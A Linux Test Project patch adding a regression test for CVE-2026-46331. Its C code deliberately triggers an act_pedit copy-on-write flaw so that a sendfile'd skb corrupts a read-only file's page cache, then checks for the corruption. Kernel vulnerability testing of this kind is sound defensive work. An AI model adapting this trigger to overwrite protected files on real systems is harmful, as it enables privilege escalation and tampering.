[LTP] [PATCH v2 2/2] cve: Add act_pedit page-cache corruption test
Andrea Cervesato
andrea.cervesato@suse.de
Mon Jul 6 21:12:16 CEST 2026
From: Andrea Cervesato <andrea.cervesato@suse.com>
Regression test for CVE-2026-46331. The act_pedit
action computed a stale COW range, letting a TCP-typed
key write past it into page-cache pages placed in the
skb by sendfile.
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/cve-2026-46331.c | 272 +++++++++++++++++++++++++++++++++++++++++
3 files changed, 274 insertions(+)
diff --git a/runtest/cve b/runtest/cve
index cc664bb9302daff9d6c1ce7c79041a8fd4ced840..f51d85552087ea1459e39229cdc22b1031008ea3 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -98,3 +98,4 @@ cve-2026-43284 xfrm01
cve-2026-43494 io_uring04
cve-2026-46300 xfrm02
cve-2026-46300-skb-segment xfrm03
+cve-2026-46331 cve-2026-46331
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -15,3 +15,4 @@ icmp_rate_limit01
tcindex01
cve-2025-38236
cve-2025-21756
+cve-2026-46331
diff --git a/testcases/cve/cve-2026-46331.c b/testcases/cve/cve-2026-46331.c
new file mode 100644
index 0000000000000000000000000000000000000000..e72131b6236d6cc1c4a3a36710990fa19d6553f0
--- /dev/null
+++ b/testcases/cve/cve-2026-46331.c
@@ -0,0 +1,272 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that the ``act_pedit`` traffic-control action correctly COW's
+ * all modified regions of an skb before writing, so that page-cache
+ * pages referenced via :manpage:`sendfile(2)` are not corrupted.
+ *
+ * ``tcf_pedit_act()`` computed the COW range for
+ * ``skb_ensure_writable()`` once before the key loop using
+ * ``tcfp_off_max_hint``, but the hint did not account for the runtime
+ * header offset added by typed keys. An egress pedit rule whose first
+ * ``NETWORK`` key inflates the IP header length (IHL 15) pushes
+ * subsequent ``TCP``-typed key writes past the stale COW boundary,
+ * allowing them to scribble directly into page-cache pages that
+ * :manpage:`sendfile(2)` placed in the skb.
+ *
+ * [Algorithm]
+ *
+ * - Create a 4 KiB file with a sequential byte pattern and set its
+ * permissions to read-only (0444)
+ * - Reopen the file ``O_RDONLY``
+ * - Add a ``clsact`` qdisc on ``lo`` and establish a TCP connection
+ * on loopback
+ * - After the handshake, install a ``matchall`` egress filter carrying
+ * a two-key pedit action: key 0 sets IP IHL to 15 (NETWORK type),
+ * key 1 writes a 4-byte marker at TCP-relative offset 512
+ * - :manpage:`sendfile(2)` the file through the TCP socket so the
+ * pedit action fires on the page-cache-backed skb
+ * - Reread the file through the same ``O_RDONLY`` descriptor and
+ * compare with the original pattern; any difference means the
+ * page cache was corrupted
+ */
+
+#include <sys/sendfile.h>
+#include <linux/rtnetlink.h>
+#include <linux/tc_act/tc_pedit.h>
+
+#include "tst_test.h"
+#include "tst_net.h"
+#include "tst_netdevice.h"
+#include "lapi/if_ether.h"
+#include "lapi/pkt_sched.h"
+#include "lapi/pkt_cls.h"
+#include "lapi/sched.h"
+#include "lapi/tcp.h"
+
+#define TESTFILE "pagecache_test"
+#define DATA_SIZE 4096
+#define PORT 4445
+
+#define NKEYS 2
+#define IHL_VALUE 0x4fu /* IP version 4, IHL 15 (max) */
+#define IHL_MASK 0xffffff00u /* keep TOS / tot_len bytes */
+#define MARKER_OFFSET 512 /* TCP-relative key offset */
+#define MARKER_VALUE 0xccccccccu /* 4-byte marker written by pedit */
+
+/*
+ * Pedit selector buffer: struct tc_pedit_sel followed by NKEYS keys.
+ * sizeof(struct tc_pedit_sel) does not include the flexible array, so
+ * the trailing keys[] array provides storage for it.
+ */
+static struct {
+ struct tc_pedit_sel sel;
+ struct tc_pedit_key keys[NKEYS];
+} pedit_sel_buf;
+
+/* --- Nested attribute lists for the matchall + pedit filter config --- */
+
+static uint16_t key0_htype = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK;
+static uint16_t key0_cmd = TCA_PEDIT_KEY_EX_CMD_SET;
+static uint16_t key1_htype = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP;
+static uint16_t key1_cmd = TCA_PEDIT_KEY_EX_CMD_SET;
+
+static const struct tst_netlink_attr_list key0_ex[] = {
+ {TCA_PEDIT_KEY_EX_HTYPE, &key0_htype, sizeof(key0_htype), NULL},
+ {TCA_PEDIT_KEY_EX_CMD, &key0_cmd, sizeof(key0_cmd), NULL},
+ {0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list key1_ex[] = {
+ {TCA_PEDIT_KEY_EX_HTYPE, &key1_htype, sizeof(key1_htype), NULL},
+ {TCA_PEDIT_KEY_EX_CMD, &key1_cmd, sizeof(key1_cmd), NULL},
+ {0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list keys_ex[] = {
+ {TCA_PEDIT_KEY_EX, NULL, 0, key0_ex},
+ {TCA_PEDIT_KEY_EX, NULL, 0, key1_ex},
+ {0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list pedit_opts[] = {
+ {TCA_PEDIT_PARMS_EX, &pedit_sel_buf, sizeof(pedit_sel_buf), NULL},
+ {TCA_PEDIT_KEYS_EX, NULL, 0, keys_ex},
+ {0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list action_entry[] = {
+ {TCA_ACT_KIND, "pedit", sizeof("pedit"), NULL},
+ {TCA_ACT_OPTIONS, NULL, 0, pedit_opts},
+ {0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list action_list[] = {
+ {1, NULL, 0, action_entry},
+ {0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list matchall_opts[] = {
+ {TCA_MATCHALL_ACT, NULL, 0, action_list},
+ {0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list filter_config[] = {
+ {TCA_OPTIONS, NULL, 0, matchall_opts},
+ {0, NULL, -1, NULL}
+};
+
+static uint8_t original[DATA_SIZE];
+static int file_fd = -1;
+static int listen_fd = -1;
+static int cli_fd = -1;
+static int acc_fd = -1;
+
+static void setup(void)
+{
+ struct sockaddr_in addr;
+ int i;
+
+ tst_setup_netns();
+ NETDEV_SET_STATE("lo", 1);
+
+ listen_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+ SAFE_SETSOCKOPT_INT(listen_fd, SOL_SOCKET, SO_REUSEADDR, 1);
+
+ memset(&addr, 0, sizeof(addr));
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+ addr.sin_port = htons(PORT);
+
+ SAFE_BIND(listen_fd, (struct sockaddr *)&addr, sizeof(addr));
+ SAFE_LISTEN(listen_fd, 1);
+
+ for (i = 0; i < DATA_SIZE; i++)
+ original[i] = (uint8_t)(i & 0xff);
+
+ memset(&pedit_sel_buf, 0, sizeof(pedit_sel_buf));
+ pedit_sel_buf.sel.nkeys = NKEYS;
+ pedit_sel_buf.sel.action = TC_ACT_PIPE;
+
+ /* Key 0: inflate IP IHL to 15 (push TCP header offset to 60) */
+ pedit_sel_buf.keys[0].off = 0;
+ pedit_sel_buf.keys[0].val = IHL_VALUE;
+ pedit_sel_buf.keys[0].mask = IHL_MASK;
+
+ /* Key 1: write marker via TCP-typed offset (past stale COW) */
+ pedit_sel_buf.keys[1].off = MARKER_OFFSET;
+ pedit_sel_buf.keys[1].val = MARKER_VALUE;
+ pedit_sel_buf.keys[1].mask = 0;
+}
+
+static void run(void)
+{
+ struct sockaddr_in addr;
+ uint8_t readback[DATA_SIZE];
+ off_t off = 0;
+ int wr_fd;
+
+ wr_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+ SAFE_WRITE(SAFE_WRITE_ALL, wr_fd, original, DATA_SIZE);
+ SAFE_CLOSE(wr_fd);
+
+ file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+
+ /*
+ * Clean-slate clsact qdisc so no filter is active during the
+ * TCP handshake (the IHL-inflating key would corrupt SYN/ACK).
+ */
+ tst_netdev_remove_qdisc(__FILE__, __LINE__, 0,
+ "lo", AF_UNSPEC, TC_H_CLSACT,
+ TC_H_MAKE(TC_H_CLSACT, 0), "clsact");
+ NETDEV_ADD_QDISC("lo", AF_UNSPEC, TC_H_CLSACT,
+ TC_H_MAKE(TC_H_CLSACT, 0), "clsact", NULL);
+
+ memset(&addr, 0, sizeof(addr));
+ addr.sin_family = AF_INET;
+ addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+ addr.sin_port = htons(PORT);
+
+ cli_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+ SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr));
+ acc_fd = SAFE_ACCEPT(listen_fd, NULL, NULL);
+
+ /* Arm the pedit filter AFTER the handshake completes */
+ NETDEV_ADD_TRAFFIC_FILTER("lo",
+ TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS),
+ 0, ETH_P_ALL, 1, "matchall",
+ filter_config);
+
+ SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1);
+
+ /*
+ * sendfile places page-cache pages in the skb. With
+ * TCP_NODELAY the 4 KiB payload fits a single segment whose
+ * egress path -- including the pedit action -- completes
+ * synchronously inside dev_queue_xmit on loopback.
+ */
+ if (sendfile(cli_fd, file_fd, &off, DATA_SIZE) < 0)
+ tst_brk(TBROK | TERRNO, "sendfile() failed");
+
+ SAFE_CLOSE(cli_fd);
+ SAFE_CLOSE(acc_fd);
+
+ /*
+ * Read back through the same O_RDONLY fd that sendfile used.
+ * sendfile with a non-NULL offset does not change the fd's
+ * file position, so it is still at 0. Keeping the same fd
+ * guarantees we hit the same page-cache pages.
+ */
+ SAFE_READ(1, file_fd, readback, sizeof(readback));
+ SAFE_CLOSE(file_fd);
+
+ if (memcmp(readback, original, DATA_SIZE) != 0)
+ tst_res(TFAIL,
+ "Page cache corrupted via act_pedit partial COW bypass");
+ else
+ tst_res(TPASS, "Page cache was not corrupted");
+
+ SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+ if (cli_fd != -1)
+ SAFE_CLOSE(cli_fd);
+
+ if (acc_fd != -1)
+ SAFE_CLOSE(acc_fd);
+
+ if (file_fd != -1)
+ SAFE_CLOSE(file_fd);
+
+ if (listen_fd != -1)
+ SAFE_CLOSE(listen_fd);
+}
+
+static struct tst_test test = {
+ .test_all = run,
+ .setup = setup,
+ .cleanup = cleanup,
+ .needs_tmpdir = 1,
+ .needs_kconfigs = (const char *[]) {
+ "CONFIG_USER_NS=y",
+ "CONFIG_NET_NS=y",
+ "CONFIG_NET_SCH_INGRESS",
+ "CONFIG_NET_CLS_MATCHALL",
+ "CONFIG_NET_ACT_PEDIT",
+ NULL
+ },
+ .save_restore = (const struct tst_path_val[]) {
+ {PATH_USER_MAX_USER_NAMESPACES, "1024", TST_SR_SKIP},
+ {}
+ },
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "899ee91156e5"},
+ {"CVE", "2026-46331"},
+ {}
+ },
+};
--
2.51.0
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